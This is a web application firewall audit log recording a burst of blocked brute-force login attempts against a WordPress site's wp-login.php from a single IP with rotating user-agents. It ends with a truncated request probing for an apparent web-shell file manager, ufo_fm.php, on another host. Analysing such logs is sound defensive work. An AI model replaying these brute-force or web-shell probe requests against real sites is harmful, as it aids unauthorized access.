Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313930489443 2892 (- - -)
Stopwatch2: 1789313930489443 2892; combined=1136, p1=410, p2=129, p3=0, p4=0, p5=597, sr=193, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--7275967e-Z--

--d4880a06-A--
[13/Sep/2026:18:38:50.869876 +0300] aqbDivut1GUrjaX0wO44DAAAAMY 134.185.87.66 52892 127.0.0.1 7081
--d4880a06-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 99
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--d4880a06-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--d4880a06-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313930868127 1817 (- - -)
Stopwatch2: 1789313930868127 1817; combined=678, p1=305, p2=69, p3=0, p4=0, p5=303, sr=94, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d4880a06-Z--

--fdd8c44d-A--
[13/Sep/2026:18:38:51.255448 +0300] aqbDi-ut1GUrjaX0wO44DQAAAM0 134.185.87.66 52908 127.0.0.1 7081
--fdd8c44d-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 105
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--fdd8c44d-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--fdd8c44d-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313931253869 1635 (- - -)
Stopwatch2: 1789313931253869 1635; combined=538, p1=255, p2=64, p3=0, p4=0, p5=219, sr=101, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--fdd8c44d-Z--

--1a081e18-A--
[13/Sep/2026:18:38:51.635500 +0300] aqbDi0hjHs68UzErry1KsAAAAI4 134.185.87.66 52936 127.0.0.1 7081
--1a081e18-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 93
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--1a081e18-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--1a081e18-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313931633672 1922 (- - -)
Stopwatch2: 1789313931633672 1922; combined=606, p1=251, p2=75, p3=0, p4=0, p5=280, sr=92, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--1a081e18-Z--

--aa9ced7e-A--
[13/Sep/2026:18:38:52.018565 +0300] aqbDjPut1GUrjaX0wO44DwAAAMM 134.185.87.66 52962 127.0.0.1 7081
--aa9ced7e-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 120
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--aa9ced7e-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--aa9ced7e-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313932015653 3737 (- - -)
Stopwatch2: 1789313932015653 3737; combined=1008, p1=441, p2=119, p3=0, p4=0, p5=448, sr=154, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--aa9ced7e-Z--

--1a69a50b-A--
[13/Sep/2026:18:38:52.395987 +0300] aqbDjPut1GUrjaX0wO44EQAAANA 134.185.87.66 52984 127.0.0.1 7081
--1a69a50b-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 114
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--1a69a50b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--1a69a50b-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313932394427 1626 (- - -)
Stopwatch2: 1789313932394427 1626; combined=554, p1=241, p2=80, p3=0, p4=0, p5=233, sr=81, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--1a69a50b-Z--

--2cfd5779-A--
[13/Sep/2026:18:38:52.775944 +0300] aqbDjPut1GUrjaX0wO44EwAAANQ 134.185.87.66 53006 127.0.0.1 7081
--2cfd5779-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 125
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--2cfd5779-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--2cfd5779-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313932773536 2510 (- - -)
Stopwatch2: 1789313932773536 2510; combined=946, p1=361, p2=118, p3=0, p4=0, p5=467, sr=140, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--2cfd5779-Z--

--aafd7372-A--
[13/Sep/2026:18:38:53.156947 +0300] aqbDjUhjHs68UzErry1KsQAAAIs 134.185.87.66 53020 127.0.0.1 7081
--aafd7372-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 112
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--aafd7372-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--aafd7372-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313933155096 1922 (- - -)
Stopwatch2: 1789313933155096 1922; combined=670, p1=253, p2=80, p3=0, p4=0, p5=336, sr=96, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--aafd7372-Z--

--275d5548-A--
[13/Sep/2026:18:38:53.541105 +0300] aqbDjfut1GUrjaX0wO44FgAAAMQ 134.185.87.66 53048 127.0.0.1 7081
--275d5548-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 107
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--275d5548-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--275d5548-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313933539341 1819 (- - -)
Stopwatch2: 1789313933539341 1819; combined=648, p1=302, p2=105, p3=0, p4=0, p5=241, sr=123, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--275d5548-Z--

--3b55e240-A--
[13/Sep/2026:18:38:53.925714 +0300] aqbDjfut1GUrjaX0wO44GAAAAMw 134.185.87.66 53078 127.0.0.1 7081
--3b55e240-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 121
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--3b55e240-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--3b55e240-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313933923683 2088 (- - -)
Stopwatch2: 1789313933923683 2088; combined=688, p1=311, p2=103, p3=0, p4=0, p5=274, sr=112, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--3b55e240-Z--

--ec513b51-A--
[13/Sep/2026:18:38:54.306371 +0300] aqbDjvut1GUrjaX0wO44GgAAAMc 134.185.87.66 53102 127.0.0.1 7081
--ec513b51-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 108
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--ec513b51-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--ec513b51-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313934304412 2025 (- - -)
Stopwatch2: 1789313934304412 2025; combined=591, p1=292, p2=80, p3=0, p4=0, p5=219, sr=119, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--ec513b51-Z--

--9efaaf47-A--
[13/Sep/2026:18:38:54.686372 +0300] aqbDjkhjHs68UzErry1KsgAAAIY 134.185.87.66 53112 127.0.0.1 7081
--9efaaf47-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 174
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--9efaaf47-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--9efaaf47-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313934683903 2526 (- - -)
Stopwatch2: 1789313934683903 2526; combined=772, p1=357, p2=120, p3=0, p4=0, p5=295, sr=126, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--9efaaf47-Z--

--1fd18c2c-A--
[13/Sep/2026:18:38:55.077093 +0300] aqbDj-ut1GUrjaX0wO44HQAAAMU 134.185.87.66 53138 127.0.0.1 7081
--1fd18c2c-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 110
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--1fd18c2c-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--1fd18c2c-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313935075171 1976 (- - -)
Stopwatch2: 1789313935075171 1976; combined=605, p1=248, p2=105, p3=0, p4=0, p5=252, sr=91, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--1fd18c2c-Z--

--c6932441-A--
[13/Sep/2026:18:38:55.456669 +0300] aqbDj0hjHs68UzErry1KswAAAI0 134.185.87.66 53176 127.0.0.1 7081
--c6932441-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 107
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--c6932441-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--c6932441-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313935454832 1907 (- - -)
Stopwatch2: 1789313935454832 1907; combined=693, p1=263, p2=81, p3=0, p4=0, p5=348, sr=98, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c6932441-Z--

--f26d3b61-A--
[13/Sep/2026:18:38:55.859598 +0300] aqbDj0hjHs68UzErry1KtQAAAJI 134.185.87.66 43476 127.0.0.1 7081
--f26d3b61-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 116
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--f26d3b61-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--f26d3b61-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313935858060 1622 (- - -)
Stopwatch2: 1789313935858060 1622; combined=500, p1=223, p2=63, p3=0, p4=0, p5=214, sr=81, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f26d3b61-Z--

--5685f173-A--
[13/Sep/2026:18:38:56.261982 +0300] aqbDkFdqBhgxDSpG7haLCQAAAFg 134.185.87.66 43532 127.0.0.1 7081
--5685f173-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 96
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--5685f173-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--5685f173-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313936260057 1991 (- - -)
Stopwatch2: 1789313936260057 1991; combined=663, p1=276, p2=89, p3=0, p4=0, p5=298, sr=123, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5685f173-Z--

--1b610c12-A--
[13/Sep/2026:18:38:56.308781 +0300] aqbDkPut1GUrjaX0wO44LAAAANQ 216.73.216.41 43548 127.0.0.1 7081
--1b610c12-B--
GET /img/ufo_fm.php?f=%27.%24enc.%27&p=%27.urlencode%28%24p%29.%27 HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 216.73.216.41
